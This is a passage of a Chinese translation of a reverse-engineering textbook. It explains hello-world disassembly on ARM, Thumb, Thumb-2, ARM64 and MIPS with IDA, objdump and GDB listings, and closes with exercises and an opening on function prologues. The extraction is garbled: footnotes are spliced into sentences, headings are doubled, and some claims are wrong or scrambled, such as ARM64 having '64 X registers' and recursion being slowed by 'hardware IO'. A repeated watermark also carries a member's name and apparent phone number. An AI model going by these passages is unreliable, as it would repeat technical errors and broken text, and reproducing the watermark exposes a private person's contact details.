很少会是当前指令的指针地址+1,这和 CPU 的 流水/pipeline 模式有关。如需完整的官方介绍,请参阅 http://www.arm.com/pdfs/comparison-arm7-arm9-v1.pdf。 ⑥ BL 是 Branch with Link 的缩写,相当于 x86 的 call 指令。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 15 指令集的 x86 体系里,操作系统可以利用栈存储返回地址。 顺便说一下,ARM模式跳转指令的寻址能力确实存在局限性。单条ARM模式的指令必须是 32 位/4 字节, 所以BL指令无法调用 32 位绝对地址或 32 位相对地址(容纳不下),它只能编入 24 位的偏移量。不过,既然每 条指令的opcode必须是 4 字节,则指令地址必须在 4n处,即偏移地址的最后两位必定为零,可在opcode里省略。 在处理ARM模式的转移指令时,处理器将指令中的opcode的低 24 位左移 2 位,形成 26 位偏移量,再进行跳转。 由此可知,转移指令B/BL的跳转指令的目标地址,大约在当前位置的±32MB区间之内 ① 最后到了“LDMFD SP!, R4,PC”这一条指令 。 下一条指令“MOV R0,#0”将 R0 寄存器置零。Hello World 的 C 代码中,主函数返回零。该指令把 返回值写在 R0 寄存器中。 ② 3.4.2 Thumb 模式下、未开启优化选项的 Keil 。它与STMFD成对出现,做的工作相反。它将栈中的数 值取出,依次赋值给R4 和PC,并且会调整栈指针SP。可以说这条指令与POP指令很相似。main()函数的第 一条指令就是STMFD指令,它将R4 寄存器和LR寄存器存储在栈中。main()函数在结尾处使用LDMFD指令, 其作用是把栈里存储的PC的值和R4 寄存器的值恢复回来。 前面提到过,程序在调用其他函数之前,必须把返回地址保存在 LR 寄存器里。因为在调用 printf()函 数之后 LR 寄存器的值会发生改变,所以主函数的第一条指令就要负责保存 LR 寄存器的值。在被调用的 函数结束后,LR 寄存器中存储的值会被赋值给 PC,以便程序返回调用者函数继续运行。当 C/C++的主函数 main()结束之后,程序的控制权将返回给 OS loader,或者 CRT 中的某个指针,或者作用相似的其他地址。 数据段中的 DCB 是汇编语言中定义 ASCII 字符数组/字节数组的指令,相当于 x86 汇编中的 DB 指令。 现在以 Thumb 模式编译前面的源代码: armcc.exe --thumb --c90 -O0 1.c 我们会在 IDA 中看到如下指令。 指令清单 3.12 使用 IDA 观察 Non-optimizing Keil 6/2013 (Thumb 模式) .text:00000000 main .text:00000000 10 B5 PUSH {R4,LR} .text:00000002 C0 A0 ADR R0, aHelloWorld;"hello, world" .text:00000004 06 F0 2E F9 BL _2printf .text:00000008 00 20 MOVS R0, #0 .text:0000000A 10 BD POP {R4, PC} .text:00000304 68 65 6C 6C +aHelloWorld DCB "hello, world",0 ; DATA XREF: main+2 Thumb 模式程序的每条指令,都对应着 2 个字节/16 位的 opcode,这是 Thumb 模式程序的特征。但是 Thumb 模式的跳转指令 BL“看上去”占用了 4 个字节的 opcode,实际上它是由 2 条指令组成的。单条 16 位 opcode 传递 的信息太有限,不足以向被调用函数传递 PC 和偏移量信息。所以,上面 BL 指令分为 2 条 16 位 opcode。第一条 16 位指令可以传递偏移量的高10 位,第二条指令可以传递偏移量的低11 位。而 Thumb 模式的opcode 都是固定的 2 个字节长,目标地址位最后一个位必定是0(Thumb 模式的opcode 的启始地址位必须是2n),因而会被省略。在 执行 Thumb 模式的转移指令时,处理器会将目标地址左移1 位,形成22 位的偏移量。即 Thumb 的BL 跳转指令将 无法跳到奇数地址,而且跳转指令仅仅能偏移到到当前地址 ±2MB(22 位有符号整数的取值区间)附近的范围之内。 程序主函数的其他指令,PUSH 和 POP 工作方式与 STMFD/LDMFD 相似。虽然表面上看不出来,但是实际 上它们也会调整 SP 指针。ADR 指令与前文的作用相同。而 MOVS 指令负责把返回值(R0 寄存器)置零。 3.4.3 ARM 模式下、开启优化选项的 Xcode 如果不启用优化选项,Xcode 4.6.3 将会产生大量的冗余代码,所以不妨开启优化选项,让其生成最优 ① 这是二进制里 26 位有符号整型数据(26 bits signed int)的数值范围。 ② LDMFD 是 Load Multiple Full Descending 的缩写。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 16 逆向工程权威指南(上册) 的代码。请指定编译选项-O3,使用 Xcode(启用优化选项-O3)编译 Hello world 程序。这将会得到如下所 示的汇编代码。 指令清单 3.13 Optimizing Xcode 4.6.3 (LLVM) (ARM 模式) __text:000028C4 _helloworld __text:000028C4 80 40 2D E9 STMFD SP!, {R7, LR} __text:000028C8 86 06 01 E3 MOV R0, #0x1686 __text:000028CC 0D 70 A0 E1 MOV R7, SP __text:000028D0 00 00 40 E3 MOVT R0, #0 __text:000028D4 00 00 8F E0 ADD R0, PC, R0 __text:000028D8 C3 05 00 EB BL _puts __text:000028DC 00 00 A0 E3 MOV R0, #0 __text:000028E0 80 80 BD E8 LDMFD SP!, {R7, PC} __cstring:00003F62 48 65 6C 6C+aHelloWorld_0 DCB "Hello World!", 0 我们就不再重复介绍 STMFD/LDMFD 指令了。 第一个 MOV 指令将字符串“Hello World!”的偏移量,0x1686 赋值到 R0 寄存器。 根据Apple ABI 函数接口规范 ① 然后,程序通过BL指令调用puts()函数,而没有像前文那样调用printf()函数。这种差异来自于GCC编 译器 ,R7 寄存器担当帧指针(frame pointer)寄存器。 “MOVT R0, #0”将0 写到R0 寄存器的高16 位地址。在ARM 模式里,常规的MOV 指令只能操作寄存器的低 16 位地址,而单条ARM 指令最多是32 位/4 字节。当然,寄存器之间传递数据没有这种限制。所以,对寄存器的高 位(第 16 位到第 31 位)进行赋值操作的 MOVT 指令应运而生。然而此处的这条 MOVT 指令可有可无,因为在执 行下一条指令“MOV R0, #0x1686”时,R0 寄存器的高16 位本来就会被清零。这或许就是编译器智能方面的缺陷吧。 “ADD R0,PC,R0”将 PC 和 R0 进行求和,计算得出字符串的绝对地址。前文介绍过了“位置无关 代码”,我们知道程序运行之后的启始地址并不固定。此处,程序对这个地址进行了必要的修正。 ② 为什么GCC编译器会做这种替换?大概是由于这种情况下puts()的效率更高吧。由于puts()函数不处理 控制符(%)、只是把各个字符输出到stdout设备上,所以puts()函数的运行速度更快 ,编译器将第一个printf()函数替换为puts()函数(这两个函数的作用几乎相同)。 所谓“几乎”就意味着它们还存在差别事实上,如 printf()函数支持“%”开头的控制符,而 puts()函数则不 支持这类格式化字符串。如果参数里有这类控制符,那么这两个函数的输出结果还会不同。 ③ 3.4.4 Thumb-2 模式下、开启优化选项的 Xcode(LLVM) 。 后面的“MOV R0, #0”指令将 R0 寄存器置零。 默认情况下,Xcode 4.6.3 会启用优化模式,并以 Thumb-2 模式编译源程序。 指令清单 3.14 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 模式) __text:00002B6C __text:00002B6C 80 B5 _hello_world PUSH {R7,LR} __text:00002B6E 41 F2 D8 30 MOVW R0, #0x13D8 __text:00002B72 6F 46 MOV R7, SP __text:00002B74 C0 F2 00 00 MOVT.W R0, #0 __text:00002B78 78 44 ADD R0, PC __text:00002B7A 01 F0 38 EA BLX _puts __text:00002B7E 00 20 MOVS R0, #0 __text:00002B80 80 BD ... POP {R7, PC} __cstring:00003E70 48 65 6C 6F 20+aHelloWorld DCB "Hello word!",0xA,0 ① 参照参考文献 App10。 ② Xcode 4.6.3 是基于 GCC 的编译器。 ③ 请参考 http://www.ciselant.de/projects/gcc_printf/gcc_printf.html。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 17 上文提到过,thumb 模式的 BLX 和 BL 指令以 2 个 16 位指令的形式成对出现的。在 Thumb-2 模式下, BL 和 BLX 指令对应的伪 opcode 有明显的 32 位指令特征,其对应的 opcode 都以 0xFx 或者 0xEx 开头。 在显示 Thumb 和 Thumb-2 模式程序的 opcode 时,IDA 会以两个字节为单位对调。在显示 ARM 模式 的指令时,IDA 以字节为单位、依次逆序显示其 opcode。这是字节序的排版差异。 简要地说,在 IDA 显示 ARM 平台的指令时,其显示顺序为:  ARM 及 ARM64 模式的指令,opcode 以 4-3-2-1 的顺序显示。  Thumb 模式的指令,opcode 以 2-1 的顺序显示。  Thumb-2 模式的 16 位指令对,其 opocde 以 2-1-4-3 的顺序显示。 在 IDA 中,我们可观察到上述 MOVW 、MOVT.W、BLX 指令都以 0xFx 开头。 之后的“MOVW R0,#0x13D8”将立即数写到 R0 寄存器的低 16 位地址,同时清除寄存器的高 16 位。 “MOVT.W R0, #0”的作用与前面一个例子中 Thumb 模式的 MOVT 的作用相同,只不过此处是 Thumb-2 的指令。 在这两个例子中,最显著的区别是 Thumb-2 模式“BLX”指令。此处的 BLX 与 Thumb 模式的 BL 指 令有着根本的区别。它不仅将 puts()函数的返回地址 RA 存入了 LR 寄存器,将控制权交给了 puts()函数, 而且还把处理器从 Thumb/Thumb-2 模式调整为 ARM 模式;它同时也负责在函数退出时把处理器的运行模 式进行还原。总之,它同时实现了模式转换和控制权交接的功能,相当于执行了下面的 ARM 模式的指令: __symbolstub1:00003FEC _puts ; CODE XREF: _hello_world+E __symbolstub1:00003FEC 44 F0 9F E5 LDR PC, =__imp__puts 聪明的读者可能会问,此处为什么不直接调用 puts()函数? 直接调用的空间开销更大。 几乎所有的程序都会用到动态链接库,详细说来 Windows 的程序基本上都会用到 DLL 文件、Linux 程 序差不多都会用到.SO 文件、MacOSX 系统的程序多数也会用到.dylib 文件。常用的库函数通常都放在动态链 接库里。本例用到的标准 C 函数——puts()函数也不例外。 可执行的二进制文件(Windows 的 PE 可执行文件,ELF 或 Mach-O)都有一个输入表段(import section)。 输入表段声明了该程序需要通过外部模块和加载的符号链接(函数名称和全局变量),并且含有外部模块的 名称等信息。 在操作系统执行二进制文件的时候,它的加载程序(OS loader)会依据这个表段加载程序所需要的模 块。在它加载该程序主模块的时候,对导入的符号链接进行枚举,逐一分配符号链接的地址。 在本例中,_imp_puts 是操作系统加载程序(OS loader)为 hello world 程序提供的外部函数地址,属 于 32 位变量。程序只需要使用 LDR 指令取出这个变量,并且将它赋值给 PC 寄存器,就可以调用 puts() 函数。 可见,一次性地给每个符号链接分配独立的内存地址,可以大幅度地减少 OS loader 在加载方面的耗时。 前文已经指出,如果只能靠单条指令、而不借助内存的读取操作,CPU 就无法把 32 位数值(指针或 立即数)赋值给寄存器。所以,可以建立一个以 ARM 模式运行的独立函数,让它专门处理动态链接库的 接口问题。此后 Thumb 模式的代码就可以跳转到这个处理接口功能的单指令专用函数。这种专用函数称为 (运行模式的)形实转换函数(thunk function)。 前面有一个 ARM 模式的编译例子,它就使用 BL 指令实现相同功能的形实转换函数。但是那个程序 使用的指令是 BL 而不是 BLX,可见处理器并没有切换运行模式。 形实转换函数(thunk function)的由来 形实转换函数,是“形参与实参互相转换的函数”的缩写。它不仅是缩写词,而且是外来词。这一专 用名词的出处可参见:http://www.catb.org/jargon/html/T/thunk.html。 P. Z. Ingerman 在 1961 年首次提出了 thunk 的概念,这个概念沿用至今:在编译过程中,为满足当时 的过程(函数)调用约定,当形参为表达式时,编译器都会产生 thunk,把返回值的地址传递给形参。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 18 逆向工程权威指南(上册) 微软和 IBM 都对“thunk”一词有定义,将从 16 位到 32 位和从 32 位到 16 位的转变叫作“thunk”。 3.4.5 ARM64 GCC 使用 GCC 4.8.1 将上述代码编译为 ARM64 程序,可得到如下所示的代码。 指令清单 3.15 Non-optimizing GCC 4.8.1 + objdump 1 0000000000400590 <main>: 2 400590: a9bf7bfd stp x29, x30, [sp,#-16]! 3 400594: 910003fd mov x29, sp 4 400598: 90000000 adrp x0, 400000 <_init-0x3b8> 5 40059c: 91192000 add x0, x0, #0x648 6 4005a0: 97ffffa0 bl 400420 <puts@plt> 7 4005a4: 52800000 mov w0, #0x0 // #0 8 4005a8: a8c17bfd ldp x29, x30, [sp],#16 9 4005ac: d65f03c0 ret 10 11 ... 12 13 Contents of section .rodata: 14 400640 01000200 00000000 48656c6c 6f210000 ........Hello!.. 一方面,ARM64 的 CPU 只可能运行于 ARM 模式、不可运行于 Thumb 或 Thumb-2 模式,所以它必 须使用 32 位的指令。另一方面,64 位平台的寄存器数量也翻了一翻,拥有了 64 个 X-字头寄存器(请参 见附录 B.4.1)。当然,程序还可以通过 W-字头的名称直接访问寄存器的低 32 位空间。 上述程序的 STP(Store Pair)指令把两个寄存器(即 X29,X30)的值存储到栈里。虽然这个指令实际 上可以把这对数值存储到内存中的任意地址,但是由于该指令明确了 SP 寄存器,所以它就是通过栈来存 储这对数值。ARM64 平台的寄存器都是 64 位寄存器,每个寄存器可存储 8 字节数据。所以程序要分配 16 字节的空间来存储两个寄存器的值。 这条指令中的感叹号标志,意味着其标注的运算会被优先执行。即,该指令先把 SP 的值减去 16,在 此之后再把两个寄存器的值写在栈里。这属于“预索引/pre-index”指令。此外还有“延迟索引/post-index” 指令与之对应。有关两者的区别,请参见本书 28.2 节。 以更为易懂的 x86 指令来解读的话,这条指令相当于 PUSH X29 和 PUSH X30 两条指令。在 ARM64 平 台上,X29 寄存器是帧指针 FP,X30 起着 LR 的作用,所以这两个寄存器在函数的序言和尾声处成对出现。 第二条指令把 SP 的值复制给 X29,即 FP。这用来设置函数的栈帧。 ADRP 和 ADD 指令相互配合,把“Hello!”字符串的指针传递给 X0 寄存器,继而充当函数参数传递 给被调用函数。受到指令方面的限制,ARM 无法通过单条指令就把一个较大的立即数赋值给寄存器(可 参见本书的 28.3.1 节)。所以,编译器要组合使用数条指令进行立即数赋值。第一条 ADRP 把 4KB 页面的 地址传递给 X0,而后第二条 ADD 进行加法运算并给出最终的指针地址。详细解释请参见本书 28.4 节。 0x400000 + 0x648 = 0x400648。这个数是位于.rodata 数据段的 C 字符串“Hello!”的地址。 接下来,程序使用 BL 指令调用 puts()函数。这部分内容的解读可参见 3.4.3 节。 MOV 指令用来给 W0 寄存器置零。W0 是 X0 寄存器的低 32 位,如下图所示。 高 32 位 低 32 位 X0 W0 main()函数通过 X0 寄存器来传递函数返回值 0。程序后续的指令依次制备这个返回值。为什么这里把返回 值存储到 X0 寄存器的低 32 位,即 W0 寄存器?这种情况和 x86-64 平台相似:出于兼容性和向下兼容的考虑, 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 19 ARM64 平台的 int 型数据仍然是 32 位数据。对于 32 位的 int 型数据来说,X0 寄存器的低 32 位足够大了。 为了进行演示,我对源代码进行了小幅度的修改,使 main()返回 64 位值。 指令清单 3.16 main()返回 uint64_t 型数据 #include <stdio.h> #include <stdint.h> uint64_t main() { printf ("Hello!\n"); return 0; } 返回值虽然相同,但是对应的 MOV 指令发生了变化。 指令清单 3.17 Non-optimizing GCC 4.8.1 + objdump 4005a4: d2800000 mov x0, #0x0 // #0 在此之后,LDP (Load Pair)指令还原 X29 和 X30 寄存器的值。此处的这条指令没有感叹号标记,这意 味着它将率先进行赋值操作,而后再把 SP 的值与 16 进行求和运算。这属于延时索引(post-index)指令。 RET 指令是 ARM64 平台的特色指令。虽然它的作用与 BX LR 相同,但是它实际上是按照寄存器的名 称进行跳转的(默认使用 X30 寄存器指向的地址),通过底层指令提示 CPU 此处为函数的返回指令、不属 于普通转移指令的返回过程。RET 指令经过了面向硬件的优化处理,它的执行效率较高。 开启优化功能之后,GCC 生成的代码完全一样。本文不在对它进行介绍。 3.5 MIPS 3.5.1 全局指针 Global pointer 全局指针是 MIPS 软件系统的一个重要概念。我们已经知道,每条 MIPS 指令都是 32 位的指令,所以 单条指令无法容纳 32 位地址(指针)。这种情况下 MIPS 就得传递一对指令才能使用一个完整的指针。在 前文的例子中,GCC 在生成文本字符串的地址时,就采用了类似的技术。 从另一方面来说,单条指令确实可以容纳一组由寄存器的符号、有符号的 16 位偏移量(有符号数)。 因此任何一条指令都可以构成的表达式,访问某个取值范围为“寄存器−32768”~“寄存器+32767”之 间的地址(总共 69KB)。为了简化静态数据的访问操作,MIPS 平台特地为此保留了一个专用的寄存器, 并且把常用数据分配到了一个大小为 64KB 的内存数据空间里。这种专用的寄存器就叫作“全局指针”寄 存器。它的值是一个指针,指向 64KB(静态)数据空间的正中间。而这 64KB 空间通常用于存储全局变 量,以及 printf()这类由外部导入的的外部函数地址。GCC 的开发团队认为:获取函数地址这类的操作,应 当由单条指令完成;双指令取址的运行效率不可接受。 在 ELF 格式的文件中,这个 64KB 的静态数据位于.sbss 和.sdata 之中。“.sbss”是 small BSS(Block Started by Symbol)的缩写,用于存储非初始化的数据。“.sdata”是 small data 的缩写,用于存储有初始化数值的数据。 根据这种数据布局编程人员可以自行决定把需要快速访问的数据放在.sdata、还是.sbss 数据段中。 有多年工作经验的人员可能会把全局指针和 MS-DOS 内存(参见本书第 49 章)、或者 MS-DOS 的 XMS/EMS 内存管理器联系起来。这些内存管理方式都把数据的内存存储空间划分为数个 64KB 区间。 全局指针并不是 MIPS 平台的专有概念。至少 PowerPC 平台也使用了这一概念。 3.5.2 Optimizing GCC 下面这段代码显示了“全局指针”的特色。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 20 逆向工程权威指南(上册) 指令清单 3.18 Optimizing GCC 4.4.5 (汇编输出) 1 $LC0: 2 ; \000 is zero byte in octal base: 3 .ascii "Hello, world!\012\000" 4 main: 5 ; function prologue. 6 ; set the GP: 7 lui $28,%hi(__gnu_local_gp) 8 addiu $sp,$sp,-32 9 addiu $28,$28,%lo(__gnu_local_gp) 10 ; save the RA to the local stack: 11 sw $31,28($sp) 12 ; load the address of the puts() function from the GP to $25: 13 lw $25,%call16(puts)($28) 14 ; load the address of the text string to $4 ($a0): 15 lui $4,%hi($LC0) 16 ; jump to puts(), saving the return address in the link register: 17 jalr $25 18 addiu $4,$4,%lo($LC0) ; branch delay slot 19 ; restore the RA: 20 lw $31,28($sp) 21 ; copy 0 from $zero to $v0: 22 move $2,$0 23 ; return by jumping to the RA: 24 j $31 25 ; function epilogue: 26 addiu $sp,$sp,32 ; branch delay slot 主函数序言启动部分的指令初始化了全局指针寄存器GP寄存器的值,并且把它指向 64KB数据段的正中央。 同时,程序把RA寄存器的值存储于本地数据栈。它同样使用puts()函数替代了printf()函数。而puts()函数的地址, 则通过LW(Load Word)指令加载到了$25 寄存器。此后,字符串的高16 位地址和低16 位地址分别由LUI(Load Upper Immediate)和ADDIU(Add Immediate Unsigned Word)两条指令加载到$4 寄存器。LUI中的Upper一词说明它将数据存 储于寄存器的高 16 位。与此相对应,ADDIU则把操作符地址处的低 16 位进行了求和运算。ADDIU指令位于JALR 指令之后,但是会先于后者运行 ①。$4 寄存器其实就是$A0 寄存器,在调用函数时传递第一个参数 ② ① 请参考前文介绍的分支延迟槽(Branch delay slot)效应。 ② 有关 MIPS 各寄存器的用途,请参见附录 C.1。 。 JALR (Jump and Link Register)指令跳转到$25 寄存器中的地址,即 puts()函数的启动地址,并且把下一 条 LW 指令的地址存储于 RA 寄存器。可见,MIPS 系统调用函数的方法与 ARM 系统相似。需要注意的是, 由于分支延迟槽效应,存储于 RA 寄存器的值并非是已经运行过的、“下一条”指令的地址,而是更后面那 条(延迟槽之后的)指令的地址。所以,在执行这条 JALR 指令的时候,写入 RA 寄存器的值是 PC+8,即 ADDIU 后面的那条 LW 指令的地址。 第 19 行的 LW (Load Word)指令,用于把本地栈中的 RA 值恢复回来。请注意,这条指令并不位于被调 用函数的函数尾声。 第 22 行的 MOVE 指令把$0($ZERO)的值复制给$2($V0)。MIPS 有一个常量寄存器,它里面的值是 常量 0。很明显,因为 MIPS 的研发人员认为 0 是计算机编程里用得最多的常量,所以他们开创了一种使 用$0 寄存器提供数值 0 的机制。这个例子演示了另外一个值得注意的现象:在 MIPS 系统之中,没有在寄 存器之间复制数值的(硬件)指令。确切地说,MOVE DST, SRC 是通过加法指令 ADD DST,SRC, $ZERO 变相实现的,即 DST=SRC+0,这两种操作等效。由此可见,MIPS 研发人员希望尽可能地复用 opcode,从 而精简 opcode 的总数。然而这并不代表每次运行 MOVE 指令时 CPU 都会进行实际意义上的加法运算。CPU 能够对这类伪指令进行优化处理,在运行它们的时候并不会用到 ALU(Arithmetic logic unit)。 第 24 行的 J 指令会跳转到 RA 所指向的地址,完成从被调用函数返回调用者函数的操作。还是由于分 支延迟槽效应,其后的 ADDIU 指令会先于 J 指令运行,构成函数尾声。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 21 我们再来看看 IDA 生成的指令清单,熟悉一下各寄存器的伪名称。 代码清单 3.19 Opimizing GCC4.4.5(IDA) 1 .text:00000000 main: 2 .text:00000000 3 .text:00000000 var_10 = -0x10 4 .text:00000000 var_4 = -4 5 .text:00000000 6 ; function prologue. 7 ; set the GP: 8 .text:00000000 lui $gp, (__gnu_local_gp >> 16) 9 .text:00000004 addiu $sp, -0x20 10 .text:00000008 la $gp, (__gnu_local_gp & 0xFFFF) 11 ; save the RA to the local stack: 12 .text:0000000C sw $ra, 0x20+var_4($sp) 13 ; save the GP to the local stack: 14 ; for some reason, this instruction is missing in the GCC assembly output: 15 .text:00000010 sw $gp, 0x20+var_10($sp) 16 ; load the address of the puts() function from the GP to $t9: 17 .text:00000014 lw $t9, (puts & 0xFFFF)($gp) 18 ; form the address of the text string in $a0: 19 .text:00000018 lui $a0, ($LC0 >> 16) # "Hello, world!" 20 ; jump to puts(), saving the return address in the link register: 21 .text:0000001C jalr $t9 22 .text:00000020 la $a0, ($LC0 & 0xFFFF) # "Hello, world!" 23 ; restore the RA: 24 .text:00000024 lw $ra, 0x20+var_4($sp) 25 ; copy 0 from $zero to $v0: 26 .text:00000028 move $v0, $zero 27 ; return by jumping to the RA: 28 .text:0000002C jr $ra 29 ; function epilogue: 30 .text:00000030 addiu $sp, 0x20 第 15 行的指令使用局部栈保存GP的值。令人感到匪夷所思的是,GCC的汇编输出里看不到这条指令, 或许这是GCC自身的问题 ① 3.5.3 Non-optimizing GCC 。严格地说,此时有必要保存GP的值。毕竟每个函数都有着自己的 64KB数据 窗口。 程序中保存 puts()函数地址的寄存器叫作$T9 寄存器。这类 T-开头的寄存器叫作“临时”寄存器,用于保存 代码里的临时值。调用者函数负责保存这些寄存器的数值(caller-saved),因为它有可能会被被调用的函数重写。 代码清单 3.20 Non-optimizing GCC 4.4.5 (汇编输出) 1 $LC0: 2 .ascii "Hello, world!\012\000" 3 main: 4 ; function prologue. 5 ; save the RA ($31) and FP in the stack: 6 addiu $sp,$sp,-32 7 sw $31,28($sp) 8 sw $fp,24($sp) 9 ; set the FP (stack frame pointer): 10 move $fp,$sp 11 ; set the GP: 12 lui $28,%hi(__gnu_local_gp) 13 addiu $28,$28,%lo(__gnu_local_gp) 14 ; load the address of the text string: ① 很明显,对于 GCC 的用户来说,查看汇编指令的功能不是那么重要。所以,GCC 输出的汇编指令之中仍然可能存在一些(在 生成汇编指令的阶段)未被修正的错误。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 22 逆向工程权威指南(上册) 15 lui $2,%hi($LC0) 16 addiu $4,$2,%lo($LC0) 17 ; load the address of puts() using the GP: 18 lw $2,%call16(puts)($28) 19 nop 20 ; call puts(): 21 move $25,$2 22 jalr $25 23 nop; branch delay slot 24 25 ; restore the GP from the local stack: 26 lw $28,16($fp) 27 ; set register $2 ($V0) to zero: 28 move $2,$0 29 ; function epilogue. 30 ; restore the SP: 31 move $sp,$fp 32 ; restore the RA: 33 lw $31,28($sp) 34 ; restore the FP: 35 lw $fp,24($sp) 36 addiu $sp,$sp,32 37 ; jump to the RA: 38 j $31 39 nop; branch delay slot 未经优化处理的 GCC 输出要详细得多。此处,我们可以观察到程序把 FP 当作栈帧的指针来用,而且 它还有 3 个 NOP(空操作)指令。在这 3 个空操作指令中,第二个、第三个指令都位于分支跳转指令之后。 笔者个人认为(虽然目前无法肯定),由于这些地方都存在分支延迟槽,所以 GCC 编译器会在分支语 句之后都添加 NOP 指令。不过,在启用它的优化选项之后,GCC 可能就会删除这些 NOP 指令。所以,此 处仍然存在这些 NOP 指令。 使用 IDA 程序观察下面这段代码。 指令清单 3.21 Non-optimizing GCC 4.4.5 (IDA) 1 .text:00000000 main: 2 .text:00000000 3 .text:00000000 var_10 = -0x10 4 .text:00000000 var_8 = -8 5 .text:00000000 var_4 = -4 6 .text:00000000 7 ; function prologue. 8 ; save the RA and FP in the stack: 9 .text:00000000 addiu $sp, -0x20 10 .text:00000004 sw $ra, 0x20+var_4($sp) 11 .text:00000008 sw $fp, 0x20+var_8($sp) 12 ; set the FP (stack frame pointer): 13 .text:0000000C move $fp, $sp 14 ; set the GP: 15 .text:00000010 la $gp, __gnu_local_gp 16 .text:00000018 sw $gp, 0x20+var_10($sp) 17 ; load the address of the text string: 18 .text:0000001C lui $v0, (aHelloWorld >> 16) # "Hello, world!" 19 .text:00000020 addiu $a0, $v0, (aHelloWorld & 0xFFFF) # "Hello, world!" 20 ; load the address of puts() using the GP: 21 .text:00000024 lw $v0, (puts & 0xFFFF)($gp) 22 .text:00000028 or $at, $zero ; NOP 23 ; call puts(): 24 .text:0000002C move $t9, $v0 25 .text:00000030 jalr $t9 26 .text:00000034 or $at, $zero ; NOP 27 ; restore the GP from local stack: 28 .text:00000038 lw $gp, 0x20+var_10($fp) 29 ; set register $2 ($V0) to zero: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 3 章 Hello,world! 23 30 .text:0000003C move $v0, $zero 31 ; function epilogue. 32 ; restore the SP: 33 .text:00000040 move $sp, $fp 34 ; restore the RA: 35 .text:00000044 lw $ra, 0x20+var_4($sp) 36 ; restore the FP: 37 .text:00000048 lw $fp, 0x20+var_8($sp) 38 .text:0000004C addiu $sp, 0x20 39 ; jump to the RA: 40 .text:00000050 jr $ra 41 .text:00000054 or $at, $zero ; NOP 在程序的第 15 行出现了一个比较有意思的现象——IDA 识别出了 LUI/ADDIU 指令对,把它们显示为 单条的伪指令 LA(Load address)。那条伪指令占用了 8 个字节!这种伪指令(即“宏”)并非真正的 MIPS 指令。通过这种名称替换,IDA 帮助我们这对指令的作用望文思义。 NOP 的显示方法也构成了它的另外一种特点。因为 IDA 并不会自动地把实际指令匹配为 NOP 指令, 所以位于第 22 行、第 26 行、第 41 行的指令都是“OR $AT, $ZERO”。表面上看,它将保留寄存器$AT 的 值与 0 进行或运算。但是从本质上讲,这就是发送给 CPU 的 NOP 指令。MIPS 和其他的一些硬件平台的 指令集都没有单独的 NOP 指令。 3.5.4 栈帧 本例使用寄存器来传递文本字符串的地址。但是它同时设置了局部栈,这是为什么呢?由于程序在调 用 printf()函数的时候由于程序必须保存 RA 寄存器的值和 GP 的值,故而此处出现了数据栈。如果此函数 是叶函数,它有可能不会出现函数的序言和尾声,有关内容请参见本书的 2.3 节。 3.5.5 Optimizing GCC: GDB 的分析方法 指令清单 3.22 GDB 的操作流程 root@debian-mips:~# gcc hw.c -O3 -o hw root@debian-mips:~# gdb hw GNU gdb (GDB) 7.0.1-debian Copyright (C) 2009 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "mips-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /root/hw...(no debugging symbols found)...done. (gdb) b main Breakpoint 1 at 0x400654 (gdb) run Starting program: /root/hw Breakpoint 1, 0x00400654 in main () (gdb) set step-mode on (gdb) disas Dump of assembler code for function main: 0x00400640 <main+0>: lui gp,0x42 0x00400644 <main+4>: addiu sp,sp,-32 0x00400648 <main+8>: addiu gp,gp,-30624 0x0040064C <main+12>: sw ra,28(sp) 0x00400650 <main+16>: sw gp,16(sp) 0x00400654 <main+20>: lw t9,-32716(gp) 0x00400658 <main+24>: lui a0,0x40 0x0040065c <main+28>: jalr t9 0x00400660 <main+32>: addiu a0,a0,2080 异步社区会员 dearfuture(15918834820) 专享 尊重版权 24 逆向工程权威指南(上册) 0x00400664 <main+36>: lw ra,28(sp) 0x00400668 <main+40>: move v0,zero 0x0040066c <main+44>: jr ra 0x00400670 <main+48>: addiu sp,sp,32 End of assembler dump. (gdb) s 0x00400658 in main () (gdb) s 0x0040065c in main () (gdb) s 0x2ab2de60 in printf () from /lib/libc.so.6 (gdb) x/s $a0 0x400820: "hello, world" (gdb) 3.6 总结 x64 和 x86 指令的主要区别体现在指针上,前者使用 64 位指针而后者使用 32 位指针。近年来,内存 的价格在不断降低,而 CPU 的计算能力也在不断增强,当计算机的内存增加到一定程度时,32 位指针就 无法满足寻址的需要了,所以指针也随之演变为 64 位指针。 3.7 练习题 3.7.1 题目 1 请描述下述 32 位函数的功能。 main: push 0xFFFFFFFF call MessageBeep xor eax,eax retn 3.7.2 题目 2 请描述 Linux 函数的功能,这里使用了 AT&T 汇编语言语法。 main: pushq %rbp movq %rsp, %rbp mov1 %2, %edi call sleep popq %rbp ret 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 44 章 章 函 函数 数序 序言 言和 和函 函数 数尾 尾声 声 函数序言(function prologue)是函数在启动的时候运行的一系列指令。其汇编指令大致如下: push ebp mov ebp, esp sub esp, X 这些指令的功能是:在栈里保存 EBP 寄存器的内容、将 ESP 的值复制到 EBP 寄存器,然后修改栈的 高度,以便为本函数的局部变量申请存储空间。 在函数执行期间,EBP 寄存器不受函数运行的影响它是函数访问局部变量和函数参数的基准值。虽然 我们也可便中 ESP 寄存器存储局部变量和运行参数,但是 ESP 寄存器的值总是会发生变化,使用起来并不 方便。 函数在退出时,要做启动过程的反操作,释放栈中申请的内存,还原 EBP 寄存器的值,将代码控制权 还原给调用者函数(callee)。 mov esp, ebp pop ebp ret 0 借助函数序言和函数尾声的有关特征,我们可以在汇编语言里识别各个函数。 递归调用 函数序言和尾声都会调整数据栈受硬件 IO 性能影响,所有递归函数的性能都不太理想。 详细内容请参见本书的 36.3 节。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 55 章 章 栈 